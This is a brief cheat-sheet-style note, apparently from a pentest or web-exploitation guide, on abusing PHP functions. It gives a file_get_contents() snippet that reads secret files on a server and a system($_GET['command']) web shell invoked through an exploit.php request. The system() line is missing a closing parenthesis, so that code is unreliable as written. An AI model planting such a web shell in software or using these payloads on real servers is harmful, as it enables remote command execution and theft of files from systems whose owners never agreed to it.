file_get_contents()

Script format:

<?php echo file_get_contents('/path/to/target/file'); ?>

For example when we want to get content of file /home/user1/secret on the server:

<?php echo file_get_contents('/home/user1/secret'); ?>

reference manual


system()

Script format:

<?php echo system($_GET['command'] ?>

It allow us to pass an arbitrary system command via a query parameter as follows:

GET /example/exploit.php?command=id HTTP/1.1

command id is utility displays the user and group names and numeric IDs, of the calling process, to the standard output.
reference manual